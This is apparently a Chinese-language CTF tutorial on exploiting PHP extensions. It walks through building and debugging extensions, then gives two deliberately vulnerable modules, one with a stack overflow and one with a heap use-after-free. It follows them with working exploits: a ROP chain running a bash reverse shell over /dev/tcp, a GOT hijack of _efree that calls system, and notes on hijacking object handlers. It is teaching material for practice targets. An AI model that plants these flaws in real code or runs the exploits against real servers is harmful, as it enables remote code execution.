php_printf("The extension %s is loaded and working!\r\n", "helloword");
}
/* }}} */

/* {{{ string helloword_test2( [ string $var ] )
*/
PHP_FUNCTION(helloword_test2)
{
char *var = "World";
size_t var_len = sizeof("World") - 1;
zend_string *retval;

ZEND_PARSE_PARAMETERS_START(0, 1)
Z_PARAM_OPTIONAL
Z_PARAM_STRING(var, var_len)
ZEND_PARSE_PARAMETERS_END();

retval = strpprintf(0, "Hello %s", var);

RETURN_STR(retval);
}
/* }}}*/

/* {{{ PHP_RINIT_FUNCTION
*/
PHP_RINIT_FUNCTION(helloword)
{
#if defined(ZTS) && defined(COMPILE_DL_HELLOWORD)
ZEND_TSRMLS_CACHE_UPDATE();
#endif

return SUCCESS;
}
/* }}} */

/* {{{ PHP_MINFO_FUNCTION
*/
PHP_MINFO_FUNCTION(helloword)
{
php_info_print_table_start();
php_info_print_table_header(2, "helloword support", "enabled");
php_info_print_table_end();
}
/* }}} */

/* {{{ arginfo
*/
ZEND_BEGIN_ARG_INFO(arginfo_helloword_test1, 0)
ZEND_END_ARG_INFO()

ZEND_BEGIN_ARG_INFO(arginfo_helloword_test2, 0)
ZEND_ARG_INFO(0, str)
ZEND_END_ARG_INFO()
/* }}} */

/* {{{ helloword_functions[]
*/
static const zend_function_entry helloword_functions[] = {
PHP_FE(helloword_test1, arginfo_helloword_test1)
PHP_FE(helloword_test2, arginfo_helloword_test2)
PHP_FE_END
};
/* }}} */

/* {{{ helloword_module_entry
*/
zend_module_entry helloword_module_entry = {
STANDARD_MODULE_HEADER,
"helloword", /* Extension name */
helloword_functions, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
PHP_RINIT(helloword), /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
PHP_MINFO(helloword), /* PHP_MINFO - Module info */
PHP_HELLOWORD_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};
/* }}} */

#ifdef COMPILE_DL_HELLOWORD
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(helloword)
#endif

🔺注:不同版本创建模板

需要注意的是,在php7.3以上,ext_skel这个shell变成了ext_skel.php,所以我们使用如下来创建

1
2
3
4
5
/www/server/php/73/bin/php ./ext_skel.php --ext helloword
cd helloworld
/www/server/php/73/bin/phpize
./configure --prefix=/www/server/php/73/bin/php --with-php-config=/www/server/php/73/bin/php-config
make

🔺注:默认的保护措施

同时需要注意的是,在configure设置完之后,保护措施也需要设置一下,默认编译的保护如下:

image-20220212124731449

可以看到除了RELRO没有加强保护之外,其他都加入了,我们在Makefile中可以进行相关的保护措施消除

这里试了很多遍,貌似只能关掉Canary保护和FORTIFY保护

image-20220212125859899

3.加载模块

方法一:

直接make install,然后在对应的php.ini中添加extension=helloword.so

方法二:

复制modules下的helloworld.so模块到对应的php扩展目录

1
cp ./modules/helloword.so /www/server/php/73/lib/php/extensions/no-debug-non-zts-20180731/

同样也得在php.ini中添加extension

之后使用模板中函数测试即可

1
2
3
<?php
helloword_test1();
?>

如下即可成功

这个php拓展模块其实跟linux内核有点像

🔺注:php.ini的设置

需要注意的是php.ini(php-fpm的php.ini)和php-cli.ini(php-cli的php.ini)的区别设置

对于php-fpm的php.ini,只会在web服务器上生效,而对于php-cli的php.ini才是在命令行中生效,所以如果我们需要使用命令行直接调试php,那么就需要修改php-cli中的php.ini才行的。以下是用宝塔linux搭建的Php环境,如果在命令行中生效则需要修改Php-cli.ini才行的。

image-20220211160511335

4.编写函数

以下是php7及以上的语法,之前版本的会有所不同

(1)PHP_FUNCTION

①框架编写

PHP_FUNCTION 修饰的函数相当于直接的定义函数,所以我们定义函数时,需要用该修饰符来修饰,格式如下

1
2
3
4
5
6
PHP_FUNCTION(funcName)
{
ZEND_PARSE_PARAMETERS_NONE();

php_printf("The extension %s is loaded and working!\r\n", "helloword");
}

至于这个ZEND_PARSE_PARAMETERS_NONE();代表定义的该函数无参数传递。

②参数传递

而当我们需要给函数传递参数时,就需要用到ZEND_PARSE_PARAMETERS_START来设置函数的参数个数

1
2
3
4
5
6
7
8
9
10
11
12
13
char *var = "World";
size_t var_len = sizeof("World") - 1;
ZEND_PARSE_PARAMETERS_START(0, 1)
Z_PARAM_OPTIONAL
Z_PARAM_STRING(var, var_len)
ZEND_PARSE_PARAMETERS_END();

//老版本写法:
char *var = NULL;
size_t var_len;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &var, &var_len) == FAILURE) {
return;
}

上述的ZEND_PARSE_PARAMETERS_START(0, 1)即代表传入参数个数为0~1,可变个数,如果个数不符合,则会触发异常。同样也可以设置为1~12~4等等之类的。

Z_PARAM_STRING代表一种参数类型,即char*,传入的参数给到var,长度给到var_len,还有的其他类型如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
specifier    Fast ZPP API macro    args
| Z_PARAM_OPTIONAL
a Z_PARAM_ARRAY(dest) dest - zval*
A Z_PARAM_ARRAY_OR_OBJECT(dest) dest - zval*
b Z_PARAM_BOOL(dest) dest - zend_bool
C Z_PARAM_CLASS(dest) dest - zend_class_entry*
d Z_PARAM_DOUBLE(dest) dest - double
f Z_PARAM_FUNC(fci, fcc) fci - zend_fcall_info, fcc - zend_fcall_info_cache
h Z_PARAM_ARRAY_HT(dest) dest - HashTable*
H Z_PARAM_ARRAY_OR_OBJECT_HT(dest) dest - HashTable*
l Z_PARAM_LONG(dest) dest - long
L Z_PARAM_STRICT_LONG(dest) dest - long
o Z_PARAM_OBJECT(dest) dest - zval*
O Z_PARAM_OBJECT_OF_CLASS(dest, ce) dest - zval*
p Z_PARAM_PATH(dest, dest_len) dest - char*, dest_len - int
P Z_PARAM_PATH_STR(dest) dest - zend_string*
r Z_PARAM_RESOURCE(dest) dest - zval*
s Z_PARAM_STRING(dest, dest_len) dest - char*, dest_len - int
S Z_PARAM_STR(dest) dest - zend_string*
z Z_PARAM_ZVAL(dest) dest - zval*
Z_PARAM_ZVAL_DEREF(dest) dest - zval*
+ Z_PARAM_VARIADIC('+', dest, num) dest - zval*, num int
* Z_PARAM_VARIADIC('*', dest, num) dest - zval*, num int

参照:AntCTF ^ D3CTF 2021 hackphp - 安全客,安全资讯平台 (anquanke.com)

③参数信息定义

1
2
3
4
5
6
ZEND_BEGIN_ARG_INFO(arginfo_helloword_test1, 0)
ZEND_END_ARG_INFO()

ZEND_BEGIN_ARG_INFO(arginfo_helloword_test2, 0)
ZEND_ARG_INFO(0, str)
ZEND_END_ARG_INFO()

这里就在ZEND_BEGIN_ARG_INFO中定义了参数arginfo_helloword_test1和arginfo_helloword_test2,然后在ZEND_ARG_INFO中设置参数名称,在ZEND_ARG_INFO中第一个参数代表是否为引用,第二个参数设置名称,比如这里就设置为str。这个参数信息的定义在之后的函数注册中需要用到。

参照:Linux下PHP7扩展开发入门教程3:编写第一个函数 | 毛英东的个人博客 (maoyingdong.com)

(2)函数注册

和内核类似,需要将我们编写的函数进行注册

1
2
3
4
5
static const zend_function_entry helloword_functions[] = {
PHP_FE(helloword_test1, arginfo_helloword_test1)
PHP_FE(helloword_test2, arginfo_helloword_test2)
PHP_FE_END
};

如上,即使用PHP_FE来注册函数,需要传入函数名称和函数参数定义信息。

(3)模块注册

最后整个模块使用zend_module_entry进行模块注册

1
2
3
4
5
6
7
8
9
10
11
12
zend_module_entry helloword_module_entry = {
STANDARD_MODULE_HEADER,
"helloword", /* Extension name */
helloword_functions, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
PHP_RINIT(helloword), /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
PHP_MINFO(helloword), /* PHP_MINFO - Module info */
PHP_HELLOWORD_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};

二、调试php拓展

1.查找模块

查找php拓展模块

1
2
php -i | grep extensions
php -i | grep -i extension_dir

2.开始调试

如下,调试php程序,然后跑起来,使得加载进入拓展模块,ctrl+c中断后即可对特定函数下断点,然后再跑test.php,该php调用需要调试的拓展模块中的函数,继续运行即可断点。

1
2
3
4
5
6
gdb /www/server/php/73/bin/php
r
(ctrl+c中断)
b zif_funcName
r test.php
c

这里可以看到我们使用拓展模块注册的函数最终都会以zif_整个前缀进行修饰,所以当做CTF题时,直接搜索zif从中寻找函数进行解析即可。

如下

image-20220211111702925

🔺测试用例

(1)栈模块

传入任意长度的字符串,拷贝给data,导致栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
/* my_stack extension for PHP */

#ifdef HAVE_CONFIG_H
# include "config.h"
#endif

#include "php.h"
#include "ext/standard/info.h"
#include "php_my_stack.h"

/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
ZEND_PARSE_PARAMETERS_START(0, 0) \
ZEND_PARSE_PARAMETERS_END()
#endif



PHP_FUNCTION(my_stack_gift)
{
char gift_data[0x10];
zend_string *retval;
ZEND_PARSE_PARAMETERS_NONE();
php_printf("PHP_Stack Gift function!---000\n");
retval = strpprintf(0, "Gift_Stack:0x%lx\nGift_Libc:0x%lx\nGift_ELF:0x%lx\n",&gift_data,&printf,&zif_my_stack_gift);
RETURN_STR(retval);
}


PHP_FUNCTION(my_stack_func)
{

char* buf = "stackTest";
size_t buf_len = sizeof("stackTest") - 1;
ZEND_PARSE_PARAMETERS_START(1,1)
Z_PARAM_STRING(buf, buf_len)
ZEND_PARSE_PARAMETERS_END();


char data[0x10];
php_printf("Welcome to my Stack!\n");
php_printf(" --PIG-007\n");

php_printf("Gift_Stack:0x%lx\n",&data);
php_printf("Gift_Libc:0x%lx\n",&printf);
php_printf("Gift_ELF:0x%lx\n",&zif_my_stack_func);

memcpy(data,buf,buf_len);
php_printf("Over!\n");
}


/* {{{ PHP_RINIT_FUNCTION
*/
PHP_RINIT_FUNCTION(my_stack)
{
#if defined(ZTS) && defined(COMPILE_DL_MY_STACK)
ZEND_TSRMLS_CACHE_UPDATE();
#endif

return SUCCESS;
}
/* }}} */

/* {{{ PHP_MINFO_FUNCTION
*/
PHP_MINFO_FUNCTION(my_stack)
{
php_info_print_table_start();
php_info_print_table_header(2, "my_stack support", "enabled");
php_info_print_table_end();
}
/* }}} */

/* {{{ arginfo
*/

ZEND_BEGIN_ARG_INFO(arginfo_my_stack_gift, 0)
ZEND_END_ARG_INFO()

ZEND_BEGIN_ARG_INFO(arginfo_my_stack_func, 0)
ZEND_ARG_INFO(0, data)
ZEND_END_ARG_INFO()
/* }}} */

/* {{{ my_stack_functions[]
*/
static const zend_function_entry my_stack_functions[] = {
PHP_FE(my_stack_gift, arginfo_my_stack_gift)
PHP_FE(my_stack_func, arginfo_my_stack_func)
PHP_FE_END
};
/* }}} */

/* {{{ my_stack_module_entry
*/
zend_module_entry my_stack_module_entry = {
STANDARD_MODULE_HEADER,
"my_stack", /* Extension name */
my_stack_functions, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
PHP_RINIT(my_stack), /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
PHP_MINFO(my_stack), /* PHP_MINFO - Module info */
PHP_MY_STACK_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};
/* }}} */

#ifdef COMPILE_DL_MY_STACK
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(my_stack)
#endif

(2)堆模块

UAF,溢出,doubleFree等漏洞

测试代码,如下即为用php7.3编译的代码,实现四个函数,增删改查

1
2
3
4
my_heap_addFunc(18);
my_heap_delFunc(0);
my_heap_editFunc(0,'aaa');
my_heap_getFunc(0);

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
/* my_heap extension for PHP */

#ifdef HAVE_CONFIG_H
# include "config.h"
#endif

#include "php.h"
#include "ext/standard/info.h"
#include "php_my_heap.h"

/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
ZEND_PARSE_PARAMETERS_START(0, 0) \
ZEND_PARSE_PARAMETERS_END()
#endif



static char* notelist[1000];
static int count;


PHP_FUNCTION(my_heap_gift)
{
char data[0x10];
zend_string *retval;
ZEND_PARSE_PARAMETERS_NONE();
php_printf("PHP_HEAP Gift function!---000\n");
retval = strpprintf(0, "Gift_Stack:0x%lx\nGift_Libc:0x%lx\nGift_ELF:0x%lx\n",&data,&printf,&zif_my_heap_gift);
RETURN_STR(retval);
}




PHP_FUNCTION(my_heap_addFunc)
{
long size = 10;
char* chunk = NULL;
//zend_string *retval;
php_printf("PHP_HEAP Add function!---001\n");

ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_LONG(size)
ZEND_PARSE_PARAMETERS_END();
chunk = _emalloc(size);
php_printf("chunk_addr:0x%lx\n", chunk);
//retval = strpprintf(0, "chunk_addr:0x%lx", chunk);
if (!chunk)
{
php_printf("Alloca Error\n");
return 0;
}

//HELLO_G(greeting) ++;
notelist[count] = chunk;
chunk = NULL;
count ++;
}


PHP_FUNCTION(my_heap_delFunc)
{
long idx = 0;
php_printf("PHP_HEAP Free function!---002\n");

ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_LONG(idx)
ZEND_PARSE_PARAMETERS_END();

if (notelist[idx])
{
_efree(notelist[idx]);
//notelist[noteChunk->idx] = NULL;
php_printf("Free Success!\n");
}
else
{
php_printf("You can't free it!There is no chunk!\n");
}
}

PHP_FUNCTION(my_heap_editFunc)
{
long idx = 0;
char* data = "editTest";
size_t data_len = sizeof("editTest") - 1;
php_printf("PHP_HEAP Edit function!---003\n");

ZEND_PARSE_PARAMETERS_START(2,2)
Z_PARAM_LONG(idx)
Z_PARAM_STRING(data, data_len)
ZEND_PARSE_PARAMETERS_END();

if (notelist[idx])
{
memcpy(notelist[idx],data,data_len);
php_printf("Edit Success!\n");
}
else
{
php_printf("You can't free it!There is no chunk!\n");
}
}


PHP_FUNCTION(my_heap_getFunc)
{
long idx = 0;
zend_string *retval;
ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_LONG(idx)
ZEND_PARSE_PARAMETERS_END();

php_printf("PHP_HEAP Show function!---004\n");
if(notelist[idx]){
retval = strpprintf(0, "Content:%s\n",notelist[idx]);
php_printf("Content:%s\n",notelist[idx]);
php_printf("Show Success!\n");
RETURN_STR(retval);
}

}


/* }}}*/



/* {{{ PHP_RINIT_FUNCTION
*/
PHP_RINIT_FUNCTION(my_heap)
{
#if defined(ZTS) && defined(COMPILE_DL_MY_HEAP)
ZEND_TSRMLS_CACHE_UPDATE();
#endif

return SUCCESS;
}
/* }}} */

/* {{{ PHP_MINFO_FUNCTION
*/
PHP_MINFO_FUNCTION(my_heap)
{
php_info_print_table_start();
php_info_print_table_header(2, "my_heap support", "enabled");
php_info_print_table_end();
}
/* }}} */

/* {{{ arginfo
*/
ZEND_BEGIN_ARG_INFO(arginfo_my_heap_gift, 0)
ZEND_END_ARG_INFO()


ZEND_BEGIN_ARG_INFO(arginfo_my_heap_addFunc, 0)
ZEND_ARG_INFO(0, addSize)
ZEND_END_ARG_INFO()


ZEND_BEGIN_ARG_INFO(arginfo_my_heap_editFunc, 0)
ZEND_ARG_INFO(0, editIdx)
ZEND_ARG_INFO(0, editData)
ZEND_END_ARG_INFO()


ZEND_BEGIN_ARG_INFO(arginfo_my_heap_delFunc, 0)
ZEND_ARG_INFO(0, delIdx)
ZEND_END_ARG_INFO()

ZEND_BEGIN_ARG_INFO(arginfo_my_heap_getFunc, 0)
ZEND_ARG_INFO(0, showIdx)
ZEND_END_ARG_INFO()

/* }}} */

/* {{{ my_heap_functions[]
*/
static const zend_function_entry my_heap_functions[] = {
PHP_FE(my_heap_gift, arginfo_my_heap_gift)
PHP_FE(my_heap_addFunc, arginfo_my_heap_addFunc)
PHP_FE(my_heap_delFunc, arginfo_my_heap_delFunc)
PHP_FE(my_heap_editFunc, arginfo_my_heap_editFunc)
PHP_FE(my_heap_getFunc, arginfo_my_heap_getFunc)
PHP_FE_END
};
/* }}} */

/* {{{ my_heap_module_entry
*/
zend_module_entry my_heap_module_entry = {
STANDARD_MODULE_HEADER,
"my_heap", /* Extension name */
my_heap_functions, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
PHP_RINIT(my_heap), /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
PHP_MINFO(my_heap), /* PHP_MINFO - Module info */
PHP_MY_HEAP_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};
/* }}} */

#ifdef COMPILE_DL_MY_HEAP
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(my_heap)
#endif

三、漏洞利用

一般而言,php_pwn都先看看php.ini,哪些函数被禁了,搜索disable_functions

image-20220212202639753

当没有禁止include函数、ob_start函数、ob_get_contents函数、ob_end_flush函数时,就可以来调用从而直接获取地址。

1.EXP模板

先来几个常用的函数模板,用来交互

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php

function u64($val) {
$s = bin2hex($val);
$len = strlen($s);
$ans = "0x";
for ($i=$len-2;$i>=0;$i-=2) {
$ans = $ans . substr($s,$i,2);
}
return intval($ans,16);
}


function p64($i, $x = 8) {
$re = "";
for($j = 0;$j < $x;$j++) {
$re .= chr($i & 0xff);
$i >>= 8;
}
return $re;
}


//在可以调用include函数、ob_start函数、ob_get_contents函数、ob_end_flush函数时
//一般用在可以直接写php代码的时候
function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/lib\/x86_64-linux-gnu\/libc-2.27.so/';
//$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/php\/20170718\/hackphp.so/';
$p_local = '/([0-9a-f]+)\-[0-9a-f]+ .* \/www\/server\/php\/73\/lib\/php\/extensions\/no-debug-non-zts-20180731\/my_heap.so/';
preg_match_all($p, $buffer, $libc);
//preg_match_all($p1, $buffer, $mbase);
preg_match_all($p_local, $buffer, $mbase);
return "";
}
ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base=hexdec($libc[1][0]);
$mod_base=hexdec($mbase[1][0]);



//字符串操作
$pad_str = str_pad(string_var,length,pad_string,pad_type);//填充,(pad_type参数可选)
$sub_str = substr(string,idx,length);//获取子字符串
$str = str_repeat('B', (0x100));
//获取格式化输出字符串
echo sprintf("0x%lx",$Libc_addr);
//字符串拼接
$str = $a.$b;
//单个字符
$str = "\x00";//必须是""双引号的,不能是''单引号

?>

并且以下给出的exp都是基于上面的测试用例

2.格式化字符串

3.栈溢出

一般都能够通过读取/proc/self/maps来泄露地址

没有canary的时候,单纯栈溢出的时候,一般有以下几种方法

(1)利用poepn反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

context.arch = "amd64"

def create_php(buf):
with open("pwn.php", 'w+') as pf:
pf.write('''<?php
my_stack_func(urldecode("%s"));
?>'''%urlencode(buf))

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


#CLI:
stack_addr = 0x7fffffffa1c0

#GDB:
#stack_addr = 0x7fffffffa1a0

#WEB:
#stack_addr = 0x7fffffffbee0

ELF_base = 0x7ffff12efd2a - 0xd2a

stack_offset = 0xb0 + 0x8
Libc_base = 0x7ffff47daf70 - libc.sym['printf']

pop_rdi_ret = Libc_base + 0x00000000000215bf
pop_rsi_ret = Libc_base + 0x0000000000023eea
popen_addr = Libc_base + libc.sym['popen']

command = '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"'


layout = [
'a'*stack_offset,
pop_rdi_ret,
stack_addr+stack_offset+0x30+0x10,
pop_rsi_ret,
stack_addr+stack_offset+0x28,
popen_addr,
'r'+'\x00'*7,
'a'*0x10,
command.ljust(0x60, '\x00'),
"a"*0x8
]
buf = flat(layout)

create_php(buf)

以上代码生成之后,直接php pwn.php运行或者调试即可。

需要注意的是,WEB和CLI的栈地址有点不太一样,另外在本地运行的时候,直接运行php和调试php也有点不太一样

image-20220212135202658

image-20220212134318923

参照WEBPWN入门级调试讲解 - 安全客,安全资讯平台 (anquanke.com)

例题一:2020De1CTF-mixture

参考

WebPwn:php-pwn学习 - 安全客,安全资讯平台 (anquanke.com)

De1CTF 2020 Web+Pwn mixture | Clang裁缝店 (xuanxuanblingbling.github.io)

(2)rop链构造调用mprotect函数执行shellcode

4.堆方面

堆机制:

首先简单介绍一下内存机制,使用_emalloc和_efree进行内存分配和释放,类似不加任何保护的slub/slab机制,存在FD指针可以实现劫持之后任意分配,并且分配的大小规格如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//宏定义:第一列表示序号(称之为bin_num),第二列表示每个small内存的大小(字节数);
//第四列表示每次获取多少个page;第三列表示将page分割为多少个大小为第一列的small内存;
#define ZEND_MM_BINS_INFO(_, x, y) \
_( 0, 8, 512, 1, x, y) \
_( 1, 16, 256, 1, x, y) \
_( 2, 24, 170, 1, x, y) \
_( 3, 32, 128, 1, x, y) \
_( 4, 40, 102, 1, x, y) \
_( 5, 48, 85, 1, x, y) \
_( 6, 56, 73, 1, x, y) \
_( 7, 64, 64, 1, x, y) \
_( 8, 80, 51, 1, x, y) \
_( 9, 96, 42, 1, x, y) \
_(10, 112, 36, 1, x, y) \
_(11, 128, 32, 1, x, y) \
_(12, 160, 25, 1, x, y) \
_(13, 192, 21, 1, x, y) \
_(14, 224, 18, 1, x, y) \
_(15, 256, 16, 1, x, y) \
_(16, 320, 64, 5, x, y) \
_(17, 384, 32, 3, x, y) \
_(18, 448, 9, 1, x, y) \
_(19, 512, 8, 1, x, y) \
_(20, 640, 32, 5, x, y) \
_(21, 768, 16, 3, x, y) \
_(22, 896, 9, 2, x, y) \
_(23, 1024, 8, 2, x, y) \
_(24, 1280, 16, 5, x, y) \
_(25, 1536, 8, 3, x, y) \
_(26, 1792, 16, 7, x, y) \
_(27, 2048, 8, 4, x, y) \
_(28, 2560, 8, 5, x, y) \
_(29, 3072, 4, 3, x, y)

#endif /* ZEND_ALLOC_SIZES_H */

当超过3K时,如下分配

huge内存:针对大于2M-4K的分配请求,直接调用mmap分配;

large内存:针对小于2M-4K,大于3K的分配请求,在chunk上查找满足条件的若干个连续page;

参考:【PHP7源码分析】PHP内存管理 - SegmentFault 思否

并且不存在我们在glibc中常见的hook函数,所以通常getshell的做法一般两种:

劫持efree_got或者劫持某些结构体的函数指针

(1)劫持efree_got

不过这个需要.so拓展模块不能为Full RELRO,得能修改其中的got表,然后还得在该拓展模块中有调用_efree函数才行,相当于就是ret2Got。得泄露该.so拓展模块的地址才行。

自定义题目的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php

function u64($val) {
$s = bin2hex($val);
$len = strlen($s);
$ans = "0x";
for ($i=$len-2;$i>=0;$i-=2) {
$ans = $ans . substr($s,$i,2);
}
return intval($ans,16);
}


function p64($i, $x = 8) {
$re = "";
for($j = 0;$j < $x;$j++) {
$re .= chr($i & 0xff);
$i >>= 8;
}
return $re;
}

function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/lib\/x86_64-linux-gnu\/libc-2.27.so/';
//$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/php\/20170718\/hackphp.so/';
$p_local = '/([0-9a-f]+)\-[0-9a-f]+ .* \/www\/server\/php\/73\/lib\/php\/extensions\/no-debug-non-zts-20180731\/my_heap.so/';
preg_match_all($p, $buffer, $libc);
//preg_match_all($p1, $buffer, $mbase);
preg_match_all($p_local, $buffer, $mbase);
return "";
}

$_efree_got = 0x202068;
$system_addr = 0x4f550;


ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base=hexdec($libc[1][0]);
$mod_base=hexdec($mbase[1][0]);

my_heap_addFunc(0x10);
my_heap_delFunc(0);
my_heap_editFunc(0,p64($mod_base+$_efree_got));
my_heap_addFunc(0x10);
my_heap_editFunc(1,"cat flag\x00");
my_heap_addFunc(0x10);
my_heap_editFunc(2,p64($libc_base+$system_addr));
my_heap_delFunc(1);
?>

(2)劫持get_method函数指针

简单来说,就是劫持函数指针zend_object->zval->zend_object_handlers->get_method

原理如下:

①zend_object

当定义声明一个class对象时

1
2
3
4
5
6
class Lucky{
public $a0, $a1;
}

$lucky = new Lucky();
$lucky->a1 = function ($x) { };

当在php中声明Lucky这个class对象时,会自动声明一个对应大小zend_object结构

1
2
3
4
5
6
7
8
9
//7.3/src/Zend/zend_types.h 大小56
struct _zend_object {
zend_refcounted_h gc;
uint32_t handle; // TODO: may be removed ???
zend_class_entry *ce;
const zend_object_handlers *handlers;
HashTable *properties;
zval properties_table[1];
};

正常来说,创建class对象都会有成员,但是在php中其实也可以声明没有成员的class对象,那么此时该class对应的zend_object的大小即为56-8=48。所以class对象中的成员越多,其zend_object结构的大小就越大。

②zval

而每一个成员在内存中实际反应的就是zval结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//7.3/src/Zend/zend_types.h  大小0x10
struct _zval_struct {
zend_value value; /* value */
union {
struct {
ZEND_ENDIAN_LOHI_3(
zend_uchar type, /* active type */
zend_uchar type_flags,
union {
uint16_t call_info; /* call info for EX(This) */
uint16_t extra; /* not further specified */
} u)
} v;
uint32_t type_info;
} u1;
union {
uint32_t next; /* hash collision chain */
uint32_t cache_slot; /* cache slot (for RECV_INIT) */
uint32_t opline_num; /* opline number (for FAST_CALL) */
uint32_t lineno; /* line number (for ast nodes) */
uint32_t num_args; /* arguments number for EX(This) */
uint32_t fe_pos; /* foreach position */
uint32_t fe_iter_idx; /* foreach iterator index */
uint32_t access_flags; /* class constant access flags */
uint32_t property_guard; /* single property guard */
uint32_t constant_flags; /* constant flags */
uint32_t extra; /* not further specified */
} u2;
};

所以class对象的zend_object结构的大小公式为

1
48 + amount_of_member*0x10

比如上述的lucky对象的zend_object结构的大小即为48+0x10*2=0x50

③zend_object_handlers

而每个zval结构体中的value值是一个指针,当该成员为字符串时,那么其为一个zend_string结构体指针

1
2
3
4
5
6
7
//7.3/src/Zend/zend_types.h
struct _zend_string {
zend_refcounted_h gc;
zend_ulong h; /* hash value */
size_t len;
char val[1];
};

当该成员为函数时,其为一个zend_object_handlers指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//7.3/src/Zend/zend_object_handlers.h
struct _zend_object_handlers {
/* offset of real object header (usually zero) */
int offset;
/* general object functions */
zend_object_free_obj_t free_obj;
zend_object_dtor_obj_t dtor_obj;
zend_object_clone_obj_t clone_obj;
/* individual object functions */
zend_object_read_property_t read_property;
zend_object_write_property_t write_property;
zend_object_read_dimension_t read_dimension;
zend_object_write_dimension_t write_dimension;
zend_object_get_property_ptr_ptr_t get_property_ptr_ptr;
zend_object_get_t get;
zend_object_set_t set;
zend_object_has_property_t has_property;
zend_object_unset_property_t unset_property;
zend_object_has_dimension_t has_dimension;
zend_object_unset_dimension_t unset_dimension;
zend_object_get_properties_t get_properties;
zend_object_get_method_t get_method;
zend_object_call_method_t call_method;
zend_object_get_constructor_t get_constructor;
zend_object_get_class_name_t get_class_name;
zend_object_compare_t compare_objects;
zend_object_cast_t cast_object;
zend_object_count_elements_t count_elements;
zend_object_get_debug_info_t get_debug_info;
zend_object_get_closure_t get_closure;
zend_object_get_gc_t get_gc;
zend_object_do_operation_t do_operation;
zend_object_compare_zvals_t compare;
};

